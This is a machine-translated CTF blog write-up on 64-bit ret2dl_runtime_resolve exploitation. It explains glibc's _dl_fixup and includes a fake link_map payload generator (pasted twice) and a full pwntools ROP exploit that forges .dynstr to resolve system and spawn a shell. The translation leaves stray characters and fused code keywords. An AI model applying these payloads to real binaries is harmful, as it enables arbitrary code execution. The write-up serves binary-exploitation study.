First record the method link_map of ret2_dl_runtime_resolve of x64
I think ret2dl is very difficult, very difficult, really difficult, woo woo link_map I think it is like the iofile on the stack, that is, link_map. Letβs analyze the source code.
Before analyzing the previous source code, letβs look at a few structures:
1 2 3 4 5 6 7 8 9 10 11 12
Elf32_RelοΌ typedefstruct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; Elf64_RelοΌ typedef structc { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ } Elf64_Rel;
The above is the relocation function structure,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
typedefstruct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsignedchar st_info; /* Symbol type and binding */ unsignedchar st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;
typedefstruct {c Elf64_Word st_name; /* Symbol name (string tbl index) */ unsignedchar st_info; /* Symbol type and binding */ unsignedchar st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */ } Elf64_Sym;
The above is the symtable structure, which is precisely located by the r_info of the previous relocation function structure
In fact, these can be faked in linkmap, letβs look at the structure of linkmap
I read it directly in pwndbg here, because of the structure of the source code, I have seen too little woo woo l_info This place containsDT_SYMTABDT_STRTABDT_JMPREL
_dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { constElfW(Sym) *const symtab = (constvoid *) D_PTR (l, l_info[DT_SYMTAB]); Get the DT_SYMTAB table of the linkmap constchar *strtab = (constvoid *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc = (constvoid *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); Get the DT_JMPREL table of linkmap reloc relocation structure constElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; Get r_info in the relocation structure void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value;
/* Sanity check that we're really looking at a PLT relocation. */ assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); r_infoδΈΊ7ε³ε―η»θΏ
/* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */ if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) sym->st_other is not 0. In fact, this place can fill in a parsed got table. When the writegot table is retrieved, it will be \x7f,. The statement in this if is not what we want to play in 64 bits. These conditions jump directly to the else branch { conststruct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { constElfW(Half) *vernum = (constvoid *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }
/* We need to keep the scope around so do some locking. This is not necessary for objects which cannot be unloaded or when we are not using any threads (yet). */ int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; }
/* Currently result contains the base load address (or link map) of the object that defines sym. Now add in the symbol offset. */ value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0); } else { /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); It is found here that as long as you control l->l_addr and sym->st_value, you can directly move here, sym->st_value is written as the function address of one of our libc, and l->l_addr is covered with a function address that we want to hijack. system-write, why write write here, because the sym->st_value we hijacked before is the address of the hijacked write function in libc, and it should also be written as libc address here result = l; }
/* And now perhaps the relocation addend. */ value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0)) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */ if (__glibc_unlikely (GLRO(dl_bind_not))) return value; c returnelf_machine_fixup_plt(l, result, reloc, rel_addr, value); }rel_addrε°±ζ―l->addr
DT_STRTAB pointer: located in link_map_addr +0x68 (0x34 under 32 bits)
DT_SYMTAB pointer: located at link_map_addr + 0x70 (0x38 under 32 bits)
DT_JMPREL pointer: located in link_map_addr +0xF8 (0x7C under 32 bits)
Another thing to mention is l->addr, this fill in, this fill must be positive, if it is negative, it will report an error, so here we calculate the offset, if it is a positive sign, we will write it as a positive sign. The master conversion is & (2 ** 64 - 1), we roughly analyze the source code and we know the principle, the following is the construction of the linkmap board
1 2 3 4 5 6
1-- l_addr offset must be guaranteed to be positive here 2-- DT_JMPREL: make its address point to the location of the constructed .rel.plt relocation table entry 3-- Relocation table entry.rel.plt: make r_info, that is, the index redirected to the symbol table, is 0 4-- DT_SYMTAB: Make the address pointing to the symbol table write_got-0x8, so that st_value is equal to write_gotc 5-- DT_STRTAB: not used, just point to a readable location After constructing from the above steps, you can get value = l_addr + write_got = real_system, write the value into the got table entry and successfully call the system function
Since the linkmap is not much different, the board of the online blog is directly used (if there is any infringement, please inform),
deffake_linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # &(2**64-1)This is because the offset is usually a negative number. If you do not control the range, the p64 will go out of bounds and an error will occur. linkmap=p64(offset & (2**64-1)) # 1-- l_addr # 2-- fake_linkmap_addr+0x8: DT_JMPRELοΌIts structure refers to the .dynamic section linkmap+=p64(0) # any value linkmap+=p64(fake_linkmap_addr+0x18) # Fake .rel.plt address # 3-- fake_linkmap_addr+0x18 linkmap+=p64((fake_linkmap_addr+0x30-offset)&(2**64-1)) # r_offset: The address on the got table, it is not used, it can be set to a readable and writable address linkmap+=p64(0x7) # r_info: 0x7 >> 32 = 0, Corresponding to index 0 of the sym table, the first item linkmap+=p64(0) # r_addend: any value linkmap+=p64(0) # l_ns # 4-- fake_linkmap_addr+0x38: DT_SYMTAB linkmap+=p64(0) # any value linkmap+=p64(known_func_ptr-0x8) # Point to the first address of the sym table, indirectly make st_value = known_func_ptr # fake_linkmap_addr+0x48 linkmap+='/bin/sh\x00' linkmap=linkmap.ljust(0x68,'A') linkmap+=p64(fake_linkmap_addr) # Set the address where DT_STRTAB is located linkmap+=p64(fake_linkmap_addr+0x38) # 0x70 Set the address where DT_SYMTAB is located linkmap=linkmap.ljust(0xf8,'B') linkmap+=p64(fake_linkmap_addr+0x8) #Set the address where DT_JMPREL is located: any readable area can be return linkmap
Letβs play a stack overflow question directly. The use conditions are harsh, only overflow, and basically nothing else. At this time, we have to consider the ret2dl method.
The basic steps of stack overflow problem (PARTIAL_RELRO)
If there is an overflow in the first step, we migrate to a bss place, which is writable (executable), and then jump to the dl_runtime_resolve place, which is on our ida
1 2 3 4 5 6 7 8 9
.plt:0000000000400540 _read proc near ; CODE XREF: vuln+2Fβp .plt:0000000000400540 jmp cs:off_601030 .plt:0000000000400540 _read endp .plt:0000000000400540 .plt:0000000000400546 ; ---------------------------------------------------------------------------c .plt:0000000000400546 push 3 .plt:000000000040054B jmp sub_400500 this place .plt:000000000040054B ; } // starts at 400500 .plt:000000000040054B _plt
This involves the binding knowledge of a lazy binding
To directly adopt the words of Master Kotorβs master is:
When the library function is called for the first time, the program will first go to his plt table, push the second parameter reloc_offset of _dl_runtime_resolve, at this time the got table stores the next jump from his own plt table A statement, jump to the public plt[0], push the first parameter link_map, and finally call _dl_runtime_resolve to write the redirected address into the got table
This 0x8049030 is where we _dl_runtime_resolve (secretly took the picture of kot master, (escape)), then thatβs ok, know this location, directly hijack the execution flow to this place when we finally return, and then hijack it again , we fill in a linkmap address we forged later, one is reloc_arg, here we are hijacking the linkmap, but we donβt need it, so it can be 0, and the construction can be started directly:
deffake_linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # &(2**64-1)This is because the offset is usually a negative number. If you do not control the range, the p64 will go out of bounds and an error will occur. linkmap=p64(offset & (2**64-1)) # 1-- l_addr # 2-- fake_linkmap_addr+0x8: DT_JMPRELοΌIts structure refers to the .dynamic section linkmap+=p64(0) # any value linkmap+=p64(fake_linkmap_addr+0x18) # Fake .rel.plt address # 3-- fake_linkmap_addr+0x18 linkmap+=p64((fake_linkmap_addr+0x30-offset)&(2**64-1)) # r_offset: The address on the got table, it is not used, it can be set to a readable and writable address linkmap+=p64(0x7) # r_info: 0x7 >> 32 = 0, Corresponding to index 0 of the sym table, the first item linkmap+=p64(0) # r_addend: any value linkmap+=p64(0) # l_ns # 4-- fake_linkmap_addr+0x38: DT_SYMTAB linkmap+=p64(0) # any value linkmap+=p64(known_func_ptr-0x8) # Point to the first address of the sym table, indirectly make st_value = known_func_ptr # fake_linkmap_addr+0x48 linkmap+='/bin/sh\x00' linkmap=linkmap.ljust(0x68,'A') linkmap+=p64(fake_linkmap_addr) # Set the address where DT_STRTAB is located linkmap+=p64(fake_linkmap_addr+0x38) # 0x70 Set the address where DT_SYMTAB is located linkmap=linkmap.ljust(0xf8,'B') linkmap+=p64(fake_linkmap_addr+0x8) #Set the address where DT_JMPREL is located: any readable area can be return linkmap
The above is just a brief introduction to the ret2dl of the program under PARTIAL_RELRO 64-bit. Of course, under 64-bit NO RELRO, the structure becomes very simple. Letβs briefly introduce it.
NO RELRO
This is a direct fake dynstr that is DT_STRTAB
name
section name
DT_STRTAB
.dynstr
DT_SYMTAB
.dynsym
DT_JMPREL
.rel.plt
see from ida
1 2 3 4 5 6 7 8 9
LOAD:0000000000400398 byte_400398 db 0 ; DATA XREF: LOAD:00000000004002D8βo LOAD:0000000000400398 ; LOAD:00000000004002F0βo ... LOAD:0000000000400399 aLibcSo6 db 'libc.so.6',0 ; DATA XREF: LOAD:0000000000400408βo LOAD:00000000004003A3 aStdin db 'stdin',0 ; DATA XREF: LOAD:0000000000400380βo LOAD:00000000004003A9 aStrlen db 'strlen',0 ; DATA XREF: LOAD:00000000004002F0βo LOAD:00000000004003B0 aRead db 'read',0 ; DATA XREF: LOAD:0000000000400320βo LOAD:00000000004003B5 aStdout db 'stdout',0 ; DATA XREF: LOAD:0000000000400368βo LOAD:00000000004003BC aSetbuf db 'setbuf',0 ; DATA XREF: LOAD:0000000000400308βo LOAD:00000000004003C3 aLibcStartMain db '__libc_start_main',0
Before that, we tampered with dynamic strtable into our fake dynstr
#coding:utf-8 from pwn import * context(os='linux',arch='amd64',log_level='debug') r = process('./pwn') elf = ELF('./pwn') read_plt = elf.plt['read'] #The target of our attack, the address of strtab in .dynamic, we have to modify it here to point to fake_dynstr target_addr = 0x600988 + 8 #The function used to load the function address, when we fake dynstr, call it again to load the function we need plt0_load = 0x4004D0 #pop rdi;ret; pop_rdi = 0x400773 #pop rsi ; pop r15 ; ret pop_rsi = 0x400771 #δΌͺι dynstr fake_dynstr = '\x00libc.so.6\x00stdin\x00system\x00'#εζ¬dynstrδΈΊ\x00libc.so.6\x00stdin\x00strlen\x00' bss = 0x600B30
payload = flat('a' * 120 , pop_rdi , 0 , pop_rsi , bss , 0 , read_plt , # Write '/bin/sh' and fake strtab to bss segment pop_rdi , 0 , pop_rsi , target_addr , 0 , read_plt , # Change the strtab address in .dynamic to the address of our fake strtab pop_rdi , bss , plt0_load , 1# Call .dl_fixup to parse the strlen function. Since we have replaced strlen with system in fake_strtab, the system function will be parsed
) r.sendline(payload) #Send system parameters and fake strtab payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr sleep(1) r.sendline(payload2) sleep(1) #Modify the address of strtab in dynsym to the address of our forged dynstr r.sendline(p64(bss + 0x10)) r.interactive()
So far, I have analyzed the ret2dl of the 64-bit pwn problem. If there is still time, I will analyze the 32-bit problem. I think 32-bit is more complicated. I wrote this article for two days. ! ! !